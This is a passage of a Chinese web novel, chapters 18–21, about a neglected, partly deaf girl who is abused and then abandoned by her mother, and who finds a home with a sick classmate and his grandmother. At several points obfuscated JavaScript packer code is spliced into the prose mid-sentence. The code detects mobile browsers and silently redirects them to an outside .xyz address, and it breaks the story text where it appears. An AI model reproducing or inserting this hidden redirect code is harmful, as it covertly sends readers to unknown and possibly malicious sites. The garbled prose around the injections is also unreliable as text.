白眼狼是怎么养出来的?他们丝毫不提,是从什么时候变成所有人都讨厌的模样呢?谭以南忘记了,记忆里变得如此差劲,有利有弊,反正利的那一端好,烦恼的事情通通忘掉,何尝不是一种解脱? “南南,你去哪啊?等会你爸妈还有你弟都回来了,他们都关心着你呢,你去哪呢?”王婆婆从沙发上坐起。 “出去透透气。” “那你早点回来啊,过半个小时你爸妈都到家了。” 谭以南听到那一家三口回来的消息,跟吃了蚊子一样恶心想吐,披上外套,戴上棒球帽,头也没回地出门。 出了门,没拿药。 没心情管了。 * 一路上没碰到熟悉的车牌号,谭以南出门前把手机开启静音模式,联系方式删了,丢进外衣口袋。 夕阳晚斜,层林尽染。红星小镇后靠顶云山,一过了下午六七点,一层浅色金纱轻轻笼罩在虬枝树冠,风吹不散。 路边小摊有卖冰红茶,谭以南随手一掏口袋付钱,拧开喝几口,找了个石阶拾阶而坐。 上次赴京求医,花了大价钱,碌碌无为,吃了几板药,输了多少液,谭以南已经无力去想,认真去想脑子有关的记忆也是一片空白。究竟什么时候变成这副要死不活的样子?谭以南不得而知,又是从什么时候在父母口中听到浪费钱这三个字? 父母都是江浙沪的有钱人,他独自前往这破小镇,有什么好处谭以南也说不上来,那是无法用语言描述的真实感,起码让他在后续飘摇不定的这几年里活得自在。红星小镇没有像富贵之家的奢华,没有回家之后踩在纯绒地毯的暖实感,这里的地板是市场上最不起眼的浅黄色地板砖,姥姥家甚至壁纸也没有,白刷刷的墙壁倒显得家里充满生活气。 母亲之前要带姥姥一起回那个毫无感情的家定居,但被姥姥一口回绝,说年纪大了就像待在这每天摇着蒲扇坐在长椅上晒太阳,想清晨去菜市场看活蹦乱跳的家禽和新鲜蔬菜,喜欢和老婆子老爷子们砍价。 起初谭以南不理解,后来到了这里住了一大半时间逐渐意识到这才是好的,才是最适合他的日子。 台阶上蚂蚁爬行,谭以南为蚂蚁爬行的必经之路挪了挪坐位,他又觉得没必要,于是站起身,两三下甩甩袖子,把长袖整整拉得严严实实。他低头,确定胳膊上看不见细细密密的小红点之后,才缓缓退到废弃的小卖部内。 刚刚在拐路口,看到云竹举着电话往这里跑来。 现在可不是见面的好时间。谭以南完美伫立于小卖部的推拉门阴影处,目前夕阳下沉,光照正是强烈,显得光影交合两面落差色感更大。他静静地垂着眼,在窗户边盯着一路小跑、挎着帆布包的云竹。 “到底什么情况……?”云竹喃喃道,她挂了电话,反手装进书包里。正要她再打一个电话回去,又想到王婆婆是不是真的有什么情况,或许是她那边的家人们来探望她,这时候贸然回去一定会给王婆婆衬得不好看吧……她单单一个外人,不好插|进别人的生活。 于是,云竹挎着帆布包,原地跺了跺脚下的灰尘,巡望四周,找了个地方歇脚。 就在这里等一等,等半个小时后,等王婆婆给她打电话后就回去。 不给别人添麻烦。 女孩娇小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云竹仰起脸,看向卡在两栋楼之间的红日,“我好像真的很差劲。自己什么也不会,什么也做不好,学习……学习之前还好,后来一般,刻苦努力也比不上有天赋的人,我好羡慕他们啊,而且我没什么才艺,没什么闪光点。” 她的脸上没有一丝难过,只是迷茫地不解。其实,云竹知道班里有和她一样刻苦努力念书的同学,但每次考试老是和别人差一大截,上次考试加上丧失的英语听力分,也是会被分到火箭班垫底。还是最差的,最不起眼的人。 她打心底佩服那些整日里不好好学也能考上大学的学生,命运为何如此戏弄人? “我不明白……” “但我也不甘心。但是,不甘心又有什么用?” “我的助听器也是别人送我的,谭以南是不是看我可怜才这样?我很感谢他,但是有时候我感动的连一句最普通的谢谢这两个字我也说不出来,就跟过年时父母逼着我去给亲戚们问好一样,说不出来话。” “有时候我会想妈妈是不是不应该生下我……?我聋了一只耳朵,内向,不喜欢社交,没多少朋友……这回也是一个朋友也没有了,不是让父母感到骄傲的孩子。” 张口的瞬间,一字一句将五味瓶打翻在地,气氛弥漫着苦涩的味道。 “蚂蚁听不懂,听不懂也好,要是能听懂人类的语言那就稀奇了……”云竹又在自言自语,她跟说梦话一样,写作文也是如此,梦到哪句写那句,不过脑子,是天赋吗?那大概率是流水账天赋,好在不用细想也能滔滔不绝写四五张作文纸,坏就坏在,一眼看下去,没什么好看的。这是云竹自认为。 红日高温融化云层,紫红色搅混着光照一泻而下,云竹望天,她总觉得,过不了多久,她会在天上看到熟悉的一切。是什么呢?无从得知。 云竹手机铃声响起,是妈妈打来的电话。 “妈妈,我在。”云竹接通。 “云竹,你这死丫头放学了不回家,搁哪鬼混呢?”苏琦这回语气倒是没有那么飘飘忽忽,云竹确切地听了一遍,妈妈没喝酒。 “……”云竹脑子里疯狂筛选合适的谎言,“课本忘在学校了,我刚刚去拿回来,现在在回家路上。” “这破记性,学习都记不住,将来还指望你干啥呢?!”苏琦没好气吼了一句,接下来说的话让云竹怔在原地,摸不着头脑。 ——“我去外地出差几天,跟你说件事,不然我良心过不去。“ ——“你这几天放学回家,小心一个男的,中年人,又高又壮,秃头,头顶有块疤痕,见到符合这四个特征的人,赶紧躲,躲不过就跑,听见没有?” 19.Chapter 19 云竹渐行渐远的身影在谭以南眼眸中倒映。 他终是没有出来,一直隐藏在暗处。 两个人的距离越来越远。 谭以南克制住咳嗽,默默注视云竹走向远方。 小小的影子被街巷阴影所吞没。 听王婆婆的话,先不去她家里头待着,那么,这几天妈妈出差,也就意味着,自己家空荡荡的屋子是安全的,不存在妈妈突如其来闯入家门拿高跟鞋砸她的卧室门的危险事件。 云竹如释负重般松了口气。 这样,终于能消停会了。她一个人也能活着,至于怎么活,看天命,尽人事,她会努力尽人事的,不求回报如何。 也不知道这样的消停安生日子,能过多久。能过多长时间就过多长时间吧,云竹深吸一口气,有资格拥有这美好的时光,倒也不算太差。 天边云层光照黯淡下去,楼道里布满蜘蛛网的窗户透口气,被热风吹得摇摇晃晃,发出吱呀吱呀的尖锐声响。 稀薄光芒投进来,云竹瘦小的身影拉长到台阶上。 回家路上不得不说,楼下停了一辆格外气派的白色汽车,云竹见识有限,不知道车牌是什么,只能凭第一印象得出价值不凡,有钱人的生活她没有体验过,自然想象不到车内是怎样一副光景。会和电视上放的广告一样,是真皮座椅吗?脚下踩的垫子也是真毛吗? 这些都和她没有多大关系,云竹只是内心感叹下,转身回家去。 掀开自家门前的又老又旧的红色地毯,地毯下用胶带绑着的缺口里藏着备用钥匙,显而易见,苏琦没有拿备用钥匙。云竹弯着腰,看了一眼便放下地毯。 不巧,楼下传来一男一女的谈话声。 “谁让他脾气倔?这也不知道随着谁的性子,不讲理,怎么?钱没给他?生活费不够那就给他钱,居然还是这副样子,白眼狼一个!” “妈,你说,我带着他半年前去北京求医看病,又是转院又是临床治疗,兜兜转转花了多少钱?谁家的钱是大风刮来的?” “……” 筒子楼坏就坏在,装修破旧,楼上楼下隔音不好,云竹弯下|身的那一刻,将楼下男女的埋怨听得一清二楚。 她摸了下左耳的助听器,原来质量功能这么好。 楼下正是王婆婆的家。 这么来看,王婆婆家里来客人了,大概率是亲戚。 “不说五位数,起码这个数有了吧?身体见不得一点好转……那个时候颂颂在幼儿园被人推下楼,住院包扎也需要钱啊。” “我就直说了,不要那么弯弯绕绕,妈,你说,一个快死的不孝子,一个体贴嘴甜的健康小孩,你金钱有限,先拿钱救谁?” “手心手背……”王婆婆啰啰嗦嗦的哭声穿透楼层,压抑的呜咽在云竹这里听得一清二楚,“手心手背……都是肉啊。” 云竹恍然。 原来,最先说话的是谭以南的父母,这次回来找王婆婆谈关于谭以南的病情。 但是她一直不知道,也没胆子去问,谭以南到底得的什么病?凭目前来看,不可能是普通的上火…… “明明能治好的……” “治好个屁!我下个月给他约了个勃朗特权威医生,赫赫有名的专家……机票,等他回来了告诉他一声。” 紧接着传来一阵玻璃制品摔落在地面上的清脆声响,模糊了男人的哭诉,云竹没听清楚,随后意识到这种偷听行为不好,便直起腰,在帆布包里掏出来家门钥匙,开门进屋。 楼下王婆婆一家的哭闹声在脑海内不停上演。云竹犯了难,锁上大门后便进到卧室,一头栽到床上。 谭以南看着那么有钱,是可望不可及的存在。 她不羡慕那是假的。 有一段时间,童真无瑕的时光中,云竹天真的认为,只要家里有钱了,什么困难摆到面前,都不算是事,闭上眼用大钞打发走解决万事大吉。家里资金足够,那么父母也不用在外那么努力打拼工作养家赚钱,一家人也不用省吃俭用…… 起码家庭经济有所缓解,妈妈会对她的态度好一点,哪怕是一丁点。每逢周五学校放假周六日两天,云竹一个人背着用到边缘磨边的帆布包,站在学校大门口眺望,看到同班同学,和她同龄的学生被父母开车接回家……她羡慕,但是没办法。 不存在的事情,再幻想也无济于事。云竹不再渴求幻想的一切,只是当做心里的慰藉。 直到上了高中,到了现在,才明白有钱了也没办法解决所有问题。好吧,她承认是自己目光短浅,可这又有什么办法?没有接触过的事情,认知的一切都是听人口口相传,脑子加工想象诞生出来的。 就跟云竹做历史选择题一样,有的四个选项都有道理,但就是选不对正确答案。看学校发下来的答案解析,哦,原来是当时的背景及问题发生的动因下造成的结果。 云竹在温暖小窝中仰起脸,肚子饿了,想都不用想,冰箱里一点能吃的东西也没有,空空荡荡宛如刚买回来没有放置物件的新冰箱——她家里的冰箱用了十几年了。不必指望苏琦会给她留什么东西。 她默默叹了口气,把有关谭以南的事情努力排斥在外,坏在适得其反,加重了脑内的想法,刚刚王婆婆家发生的一系列对话循环上演。 云竹可有太多疑问。 那个女人,应该是谭以南的妈妈。 她说的机票,是怎么回事?是他们两口子要在这里住一段时间,等到指定日子坐飞机出差吗?毕竟富贵人家,经常去国外出差也是有可能的吧。 云竹简单的想,她没深究。 * 又一周过去,零碎的情绪跌宕起伏,开心的、难过的、感动的、心酸的这些无比简单的形容词在云竹身上各有体现。之前还不明白为什么时间过得这么快,但真正让她感到时光如流水般逝去还是在今天早上。 云竹吃过早饭,安安静静坐在教室内,此时班里的值日生王荼淑正在讲台上擦黑板,看到云竹在这边坐着,欲言又止,但看到她低着头,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065747|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好说什么。 随着云层渐渐升腾至天边高空,微光得以穿透,温柔洒在课桌桌面。云竹时不时瞥向程慕的座位。 她已经想好和程慕道歉了。 因为是自己任意把情书夹在文具盒里,才会导致发生这样的闹剧。程慕感到好奇而拿出来看看,是正常行为,人都有好奇心,换作云竹,她也会想到这样。 只是……道歉,云竹又犯了难。 她不知道该如何向程慕说清楚,只是口头道个歉说明情况吗?会不会太没有诚意?那写一张小纸条传给程慕,万一不收怎么办? 说到底,云竹也不知道自己有没有做错什么,上学路上时代入了事件中每个人的视角,好像谁都没有错。她确实答应了程慕和楚彩的请求,仿照情书再写一封,她做到了,放到文具盒里也是正常的事情。 上学时期班里人传小纸条,为了不让老师发现,都会藏在书页夹层或文具盒中。 而程慕,她显然没有做错的地方。这件事情本就是一场交易,程慕在其中没有起到任何负面作用,只是一个见证人,交易是楚彩和云竹达成的。程慕在教室中说情书是云竹写的,这倒也是事实。 至于海湖和赵子龙他们那些人……他们是程慕的死党,死党之间互损一下,也没有什么大不了的…… 不对不对,这样分析,大家都没有错。 唉。 云竹越想越想不明白,想不清楚,脑子里似乎生长了荆棘丛林,蔓延缠绕期间滚成了一个刺球球,尖刺扎到脑袋中疼痛不已。 纵使……纵使程慕有做得不对的地方,云竹当然可以原谅她,为了维持已久的友谊。程慕可是云竹人生中的第一个如此长久的朋友,有特权。 云竹抓紧衣角,不知道现在要干什么,她眉心一跳,从桌兜里翻出本子撕下一张演草纸,抓着中性笔开始构思。 她真的不想失去朋友。 不然一无所有。 …… 她就是一无所有,世上没有什么东西会被她所拥有。 “云竹,我刚刚不小心把第一节课的学习任务擦了,你还记得是练习册第几页吗?”王荼淑转过身,黑板擦指向半个粉笔字。 云竹猛然回神,“我想想……是第五十六页。” “好的,谢谢你。” 小插曲结束,云竹默然松了口气。王荼淑看她的眼神和之前别无一二,没有带任何戏味色彩,这说明那次的情书到现在为止,无人在意。谭以南和楚彩也不会被人私下议论,程慕估计受到的波折也不大。 云竹的关注点总是这么奇特。 有人搭理她,云竹的胆量也增大了不少,她试着主动和交涉不多的人聊天,“王荼淑,快静校了,程慕到现在也没来,你知道……怎么回事吗?” 讲台上擦黑板的女生身子一顿。 教室里只能听到两个人彼起彼伏的呼吸声。 王荼淑慢慢回过了头,眼里带着不可置信,“云竹,程慕转学了……你不知道?” 20.Chapter 20 住宿的这天晚上,云竹罕见地请了一晚上假。 一路小跑回到家,拿起手机,微信的备注程慕的好友位于列表下方,云竹记得起初每天早上起来一看,程慕的好友位便在微信最上方,发的消息也是最多的,不愧是小话唠。 而现在…… 云竹点开对话框。 两个人上一次的联系还在两三天前。 最好的朋友程慕转学,一句话也没有留下。 哪怕是一句“再也不见”,气话也好,告别也罢,让云竹知道她一切还好。 可是程慕没有。 她什么也没有给云竹留下,突如其然地,占据云竹半个高中时代的程慕离开。 云竹从卧室出来时,已是深夜,窗外梧桐树梢低压,阴沉沉的搅混在黑夜。 这两天妈妈都不在家,家里的吵闹声少了许多,倒显得分外宁静,云竹竟然还感到不适应,她低头,些许是时间久了,连自己是什么情绪都感知模糊。 不死心般去了一趟厨房,连冰箱冷冻层也翻了一翻,能吃的食物压根没有。偶尔空闲时间,云竹会忍不住深想,她是妈妈的孩子吗?不都是说,孩子是父母爱情的结晶,为什么到了她这里,完完全全变了样? 云竹瘫坐在折叠桌旁的小凳子,双手按着凳子腿,双眼迷茫。 她现在要去干什么? 程慕转学了,学校里没人和她玩。主动和别人交朋友,难以开口。王婆婆家里……算了还是不给她添麻烦了,这几天物价上涨,多做一顿饭也要好些钱。 她没办法还。还也还不起。 恍然之际,门外传来敲门声。 云竹抬眼望去,这个敲门频率……是和熟悉的人一模一样。 她去开门,门拉开的一瞬间,邋里邋遢的模样猝不及防闯入谭以南的视线。 面前身影高瘦,严严实实遮住从楼梯拐角处透出来的光线。 云竹一时失了语,没搞清楚谭以南来这里干什么。这几天的相处,双方没有任何亏欠,也不需要谭以南再来赔偿。 云竹:“……你好。” 谭以南双眼深邃似海。 云竹见他没理,试探性地又问:“请问有什么事吗?” 谭以南:“为什么不回家?” 这话问得云竹一愣。 什么叫不回家?云竹转过头,看向身后勉强算得上整洁的客厅,“我、我在家……” “有人陪的地方才叫家。”谭以南撂下一句话,转身。 云竹怔然,一手扶着门框边。 “回来吃饭。”谭以南侧过头,微光打在高得恰到好处的鼻梁上,光线流云,细微的绒毛在云竹眼中十分清晰。 “……好。”云竹也不知道为什么说好,怎么就同意了,脑子反应半天,脚步已经跟上去。 跟在谭以南身后,云竹看着他纤瘦的脚后跟,鬼使神差说了句:“你好瘦。” 第一次见到这么瘦的,高中时代每逢最后一节课打响,班里的男生如瀑布般向外奔腾,齐齐窜向学校食堂。 这人半天蹦出一个字:“嗯。” 长达几个月的相处,云竹显然有胆子冒出来再问一些稀奇古怪问题——好吧,云竹自认为是稀奇古怪,毫无厘头的话题,脑子里突然蹦出来的。 云竹探着头,思索他是不是不方便说,“你是不喜欢吃饭吗?” 也不见他在体育课上打球,身上没多少肌肉。 “吃不下。” 吃不下,不是不喜欢吃。云竹一愣。 谭以南身形停住,拉开老家的门,“到了,进来。” 云竹点点头,进门道谢。 “云竹丫头回来了啊,回来了就好,我一两分钟前给你打电话回家吃饭,你不接,我让南南上去接你,你才下来。”王婆婆端着一碗豆撅子拌面从厨房出来,右手抓着一把筷子。 像是热油浇在心脏上,云竹不知道为什么心脏此时此刻融化了般,又热又潮,熏的连眼泪快要掉下来了。 给你打电话,叫你回家吃饭。 哪里是家? 有人陪的地方就是家,哪怕是毫无血缘的羁绊。 哪怕——他们才认识不久。 忽然想起那天烧烤摊晚上。 也是这样的黑天,不知道踏过多少遍的楼道口。 谭以南告诉她,你喜欢你自己的人格吗? 云竹当时想点头。 但是她想到,在谭以南面前撒谎,何尝不是变相否认? ……云竹其实根本不喜欢。 不喜欢她别扭的性格,云竹躺在床上,盯着灰扑扑的窗帘。那天晚上想了很久,想了很多,想过反思,想过改变,遥想长远。可终究无力改变,无力扭转这僵持的局势。准确的是,云竹不知道该怎么办。 思绪回转。 你愿意接受你本身的缺陷吗? 接受你先天左耳失聪,在小角落偷偷抹眼泪;接受和其他人不一样的性格,被身边的所有认为是异类。 云竹颤颤巍巍地抓住无边海湖上漂泊的浮木。 ……我可以,去试着接受。 而接受的第一步,是先褪去身上的尖刺,尝试沟通,与自身和解。 云竹隐隐约约深呼吸,不让情绪翻涌上来,偏转过头,看向一旁的墙角,努力让声线平稳:“我刚刚回去了一趟,在床上休息,手机可能没电关机了,对不起。” 王婆婆扭过头,神情愕然,“你这孩子,说啥呢?什么对不对不起的,都是一家人,相互包容才是!别拘束,放开点,放开点,啊,过来吃完饭。” 云竹腿脚发软,还是撑着一口气坐到沙发上,端起豆撅子拌面。 “吃啊,做的不好吃吗?我盐没放多吧?甜咸正好啊。”王婆婆说着还狐疑地用筷子挑起几根苗条塞进嘴里。 “好吃,好吃。”云竹下意识弯起唇角。 “那就行,那我就放心了。这个季节豆撅子都下来了,好久没有做豆撅子拌面,你迟迟不动筷子,我还以为厨艺退步了呢。”王婆婆笑呵呵,一两步走进厨房,“我去给案板收拾一下。” 纯白色的天花板上电线绕绕,老旧风扇呼呼呼转悠,旋转扇叶切断灯光,零光细碎,均匀飘在云竹的头发。 气氛寂静,两个人的筷子触碰到碗壁边发出清脆声音。 云竹突然喊了他的名字,“谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071152|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以南。” 谭以南一如往常,“嗯。” 云竹一想到要问什么,不自禁抓紧了腿裤腿,“……” 谭以南瞥了一眼,眼神黯然下去,“我在。” “我有一个问题。” “你说。” “就是,你和王婆婆都是很好很好的人,我们之间没有什么关联,你们为什么对我……”云竹思索半天,放下筷子,无法以现有的词汇去表达身心温暖的感受,还是选择了最朴实的那个字,“这么好?” 谭以南挑起眉梢,“这种问题,你应该去问我姥姥。” 云竹否认,“可是我不想问王婆婆,不是说王婆婆不好。” “她会给你模棱两可的答案,什么一家人,什么团结一心。” “对。” 话题又一次结束,整个客厅的气氛陷入诡异的沉默之中。 云竹尝试沟通:“所以,为什么?” 谭以南开口:“有些东西不必寻求原因,我姥姥对你好,是喜欢你,喜欢一个人不需要理由。” 云竹还是没有听明白,“那没有理由……一个人身上有什么值得喜欢的地方?” 谭以南笑了,“你还挺较真。” 云竹下意识纠正他,“我这是认真。” 话音刚落,云竹这才意识到什么时候和人对话这么自然,连反驳的言语也能说出口。曾经只会像被妈妈打骂了一顿,连反驳的勇气也没有。 “认真?” “对。” 谭以南开始聚焦到问题上,“值得喜欢的地方不一定是优点。” 云竹觉得这人说话像隔着一层雾,看不透也摸不明白,“缺点也会有人喜欢吗?” “为什么不能?” “怎么会有人喜欢另一个人的缺点呢?” “为什么这么说?” “我听程慕说,学校女生绝大部分喜欢打篮球的男生,而男生也喜欢长得好看、说话温柔的女生,都是因为优点存在而喜欢。” “那这是假喜欢。”谭以南不以为然,一口定结论。 云竹蹙着眉歪头看他,杏眼中蕴含不解的光。 “如果因为一个人的优点而喜欢,说明这不是真正的喜欢。” “那一个人没有优点,那又有什么值得喜欢的地方?” “很多,我刚刚说的话,你细想。”谭以南喝了一口水,顿了顿,接着说,“一个人的优点值得喜欢,那喜欢的是此人的优点,还是喜欢此人的全部?” 云竹静静地看着他。 “优点,每个人身上可太多了。”谭以南晃荡着玻璃杯中的水液,漾出阵阵波纹,“喜欢一个人,起码要接受不完美。” 云竹长长舒了一口气,坐在沙发上,她倏忽间好像醉醺醺的,像是被天花板的吊灯亮得睁不开眼睛。正是闭上眼陷入黑暗的瞬间,不见人影,不见物件,什么也看不见了,好似所有的情绪在一刻尽数泄露,也有了继续问下去的勇气。 “谭以南,”云竹仰脸问道,“我胆怯,沉闷,别扭,性格也不讨喜,那你觉得,我身上有什么值得喜欢的地方?” 谭以南这时掀起眼帘,对上云竹的视线。 21.Chapter 21 值不值得喜欢,是由自己说了算。 而不是别人的三言两语贴上不值得爱的标签。 云竹垂眸盯着锃亮的地板砖,一时不知道该说什么。 “你觉得自己值得被爱吗?”谭以南冷不丁抛出问题。 云竹垂眼,抠着手,“值得吧……我好像也不是那么没用,我脾气好,也会做一些简单的饭,饿不死的。” 她没提为什么会做饭。苏琦常年不给她留吃的,冰箱里连压缩饼干都没买过。云竹只能吃百家饭长大,好心街坊邻居们给的都是新鲜刚烹饪好的饭菜,只是云竹顺便把眼泪搅混着食物咽进肚子里,越吃越愧疚,不能一辈子靠别人施舍为生,欠别人的,总要偿还的。 谭以南:“你本身值得被爱。不必通过他人言语来评估自身价值,只要你愿意接纳、愿意喜欢本身就足够了。” 云竹闻声再次愣怔。 谭以南搁下玻璃杯,掀起眼帘瞟了一眼云竹,“助听器没带吗?” “带了。” “效果怎么样?” “很好,谢谢你。” “嗯。” 话题结束,再一次陷入死寂。 经过多次的沟通,云竹已经有了再次开口询问的勇气,不管面对是同性还是异性,“谭以南,你还回去吗?” 她想起来机票的事情。 谭以南眼都没眨,“回哪里?” 云竹顿了好久,开口道:“……你的家。” 谭以南语气平淡,如诉说和他毫不相干的事情:“不会的。我的骨灰也不会葬在那里。” 云竹愕然,“你父母对你……很不好吗?” 她终究还是揭露了内在的,不存在于表面风平浪静的伤疤。 其实,早说晚说都无济于事,伤疤溃烂时,总有一天会暴露在光下。 谭以南没回复,默认。 他也没想包掩着缺口。 云竹开始自顾自说:“我妈妈对我也不好。” 棕黑色木质桌面上,谭以南白皙冷色调的手指关节微拢,依次有规律地敲击桌面。 “忘了是从什么时候开始,我生活的一直很差劲,不管是物质方面还是精神层面。就连小学语文课本上讲的母爱,我记得那节课老师让同学们开火车式站起来分享,轮到我了,我一个字也说不出来。” 云竹仰起脸,光照在她脸上模糊不清,她唇角微动,回忆童年:“大家都在等着我分享,但是我压根没体验过,我只知道学生时代统一作文事件——下雨天妈妈背我去买药,我就说了这个,当时就有人说我是编的,好歹要编的像一点。” “可是我不会,你知道,我撒谎都破绽百出。事实上大家过得都不好,但都在乐观地苟活。” 云竹挤出一抹笑,“你看我狼狈地活成这样,不还是继续活着,没有动过死的念头,一是觉得……”她扭头看向谭以南,继续说道:“这世间还有很多美好的时刻,我还没去大城市,没坐过火车,纵使被苦难击溃而放弃挣扎,难免遗憾。” “我第一次见到你就觉得,你很有钱……我梦寐以求的或许你都见过、听过、去过,不足为奇,这可能就是书上说的阶级差距。”云竹单手拎起热水壶,热水在玻璃杯中缓缓流淌,她放下,端起杯子。 “我所愿的是你的平常,我祈的是你的过往。”云竹做出的在外人看来显然意外的举动,在自己眼里也是如此,可她憋了太久,身心都快要憋坏了,“我不知道你生活上有什么困难,微不足道的,难以攻克的,我信你都能熬过来。” 谭以南久久不语,只是一味地盯着玻璃杯中晶莹剔透的水,水汽热气腾腾,飘摇旋转腾空而起,雾了他的眼眸,湿漉漉的一片。 “我知道。”他吐出三个字。 云竹又一次坐在沙发上,脸颊泛红,胸膛起伏不定。第一次说这么多话,五脏六肺被蒸发似的,疲惫感席卷而来,但与之前来的是一阵又一阵的酣畅淋漓,憋在心里那么多的话,一泄而出,净化的感受取而代之。 “嗯,好。”她说。 话题不知道第几次的结束落幕,厨房里传来陆陆续续切菜的声音,菜刀在案板上舞动,随后张满皱纹的手放下刀,王婆婆端着一碗新鲜择净的空心菜出来,喜笑颜开。 王婆婆把不锈钢盆搁到桌面上,“等久了吧你们?等会我出去买菜,你们在这里忙吧,对了嗷,云竹丫头,有空就来这里玩,听见没有?不用有啥心理负担,你这姑娘就是容易想太多,你不管有空没空,直接过来就行了,南南,你去把备用家门钥匙给她,有时候我去买菜不在家,云竹直接开门进来就行。” 谭以南果真把备用家门钥匙给了云竹。 然而翌日这把家门钥匙照样没用上。 云竹站在自家门前,刚要抬手拿钥匙开门,却听见屋内窸窸窣窣的声响,女人慵懒的嗓音念叨着什么传入她耳畔,她一眼认出这是妈妈。没想太多,钥匙插|入门内,径直拉开。 玄关处多了双男款黑皮鞋,鞋面锃亮。 是爸爸回来了吗?云竹警惕的心瞬间放下来。 换好拖鞋,云竹一路闷声走到客厅,刚想开口。 穿着大红色衣服的苏琦听闻脚步声后撇头看了一眼,不知道是发生了什么喜事,眼中竟也没有了以往常见的怨恨,“一边去。” 也不说让她滚了。 云竹眨巴眨巴眼睛,巡望四周,思索片刻,没见着父亲的身影,“妈妈,是爸爸回来了吗?” “放什么狗屁!”苏琦一边用卫生纸沾沾嘴唇上的口红一边说。 “那……”云竹没看明白事情状况。 “以后我走了,你自己一个人生活吧,趁我心情正好呢,别逼我打死你!”苏琦又拿起粉扑,动作空闲间说道。 什么叫做…… “一个人生活?”云竹迷茫地站在原地。 “噢,忘了告诉你了。”苏琦简单整理完卷发,在镜子前后退三步,“我改嫁了,我听楼上那个老陈嫂子说,你闲着没事就去楼下那寡妇老婆子家,不如干脆住那吧。” 云竹脸色发白,怯生生开口,这次她有了追问的勇气:“那,妈妈,你是……不要我了吗?” “谁想要你啊?自己也不照照镜子,五官长得像我,脾气又是个软柿子,谁见了都能踩一口。”苏琦打了个哈欠,化完淡妆后整个人显得更加美艳,“这次等我收拾完东西,你就去楼下住,这套房子我要卖了,不然没钱用。” 没给云竹喘口气消化爆炸性信息的时间,苏琦接着捅刀子,“你来的刚好,去给你卧室整整,学习桌楼下那婆子家有吧,那家里的别搬,还要瞎好处理处理卖钱呢,最后给你留两百块钱,算我仁慈义尽了,是死是活以后别找我,啊,就这么说定了。” “妈妈。”云竹突然大声喊。 苏琦清理垃圾的动作一顿,好看的细眉拧着。整理来看,云竹和她五官生的不说有九分相似,七分倒是有。苏琦眉黑眼大,属于在大街上一眼能看到的艳丽美女类型,而云竹生的与她相似,或许是整日愁眉不展,面容上竟显得温顺,像一颗藏在树冠林中的青涩温吞小山竹。 “干嘛?”苏琦没好气地回了一句。 “你是不是,一直都不喜欢我?”云竹捏紧衣角,听到母亲改嫁从未考虑过她的想法,倒是生出一种无所畏惧酣畅淋漓的快感,既然不要她,那么也就说明,做什么都无所谓了。这个疑问在内心憋了十几年,从诞生出记忆开始,伴随着年龄增加只是根深蒂固地加牢,与全身的血管拴在一起。 苏琦这回没有像记忆里突然暴怒,上去给云竹一巴掌,而是静静地站在一旁,目光里包含着丝毫不屑于隐藏嫌弃的目光。 “刚开始,当然是喜欢的。”苏琦难得冷静下来,“我活了快四十年,被这狗屎生活打压的不成样子,你是我第一个孩子,当然是喜欢的,但坏就坏在,你出生在这个家庭。” 云竹胸膛起伏,从未感受到紧贴的衣物束缚她喘不过来气,“什么意思?” “小孩子问这么多干什么,可别在我面前卖惨啊我告诉你,你被我养着可不错了,总比另一个人养着强。二百块钱就是二百块钱,够你吃好几顿饭了,反正你有人养着,饿不死你。”苏琦摆摆手,接着整东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他很好……”云竹接着说,但声音细微到第二个人也听不见的程度。 “算了管你呢,我把话撂在这里,你谈恋爱好,不谈也罢,总之等我收拾完东西出去后,我把你的联系方式全删了,没啥东西找你爹要去,你别找我,找我可没用,我没钱也不会给你。”苏琦拍拍手上的灰尘。 云竹无声地点点头。 都说母女之间的情谊仍存,至于情谊的保质期,云竹大概想,应该是苏琦彻底离开这个家,从此就再也和她无关了。 她想过有这么一天,被嫌弃,被抛弃,乃至被遗忘。 小时候躺在床上偷偷拿创可贴,龇牙咧嘴地忍疼贴住伤口,泪眼婆娑,幻想着明天会更好,等妈妈心情好一点就说不定就不会殴打她了,一切都是现实压力大的错误。 距父母离婚到现在,父亲已经和她多久没有联系了? 云竹忘了时间,甚至连父亲的长相也忘的差不多,梦里的家人面孔五官模糊不清,像个糊了面具的假人。拥抱在一起时真真切切的感受,虚无缥缈的亲情,简直和游戏模拟家人一般无二。 她拿出手机,打开联系人,往下翻,往下翻。联系人目录少得和她单薄孤苦的人生一样可怜,往下翻动,不到两次就见底,定睛一看,上次和父亲的联系电话是七年前。 哦,这是云竹悲苦的童年。 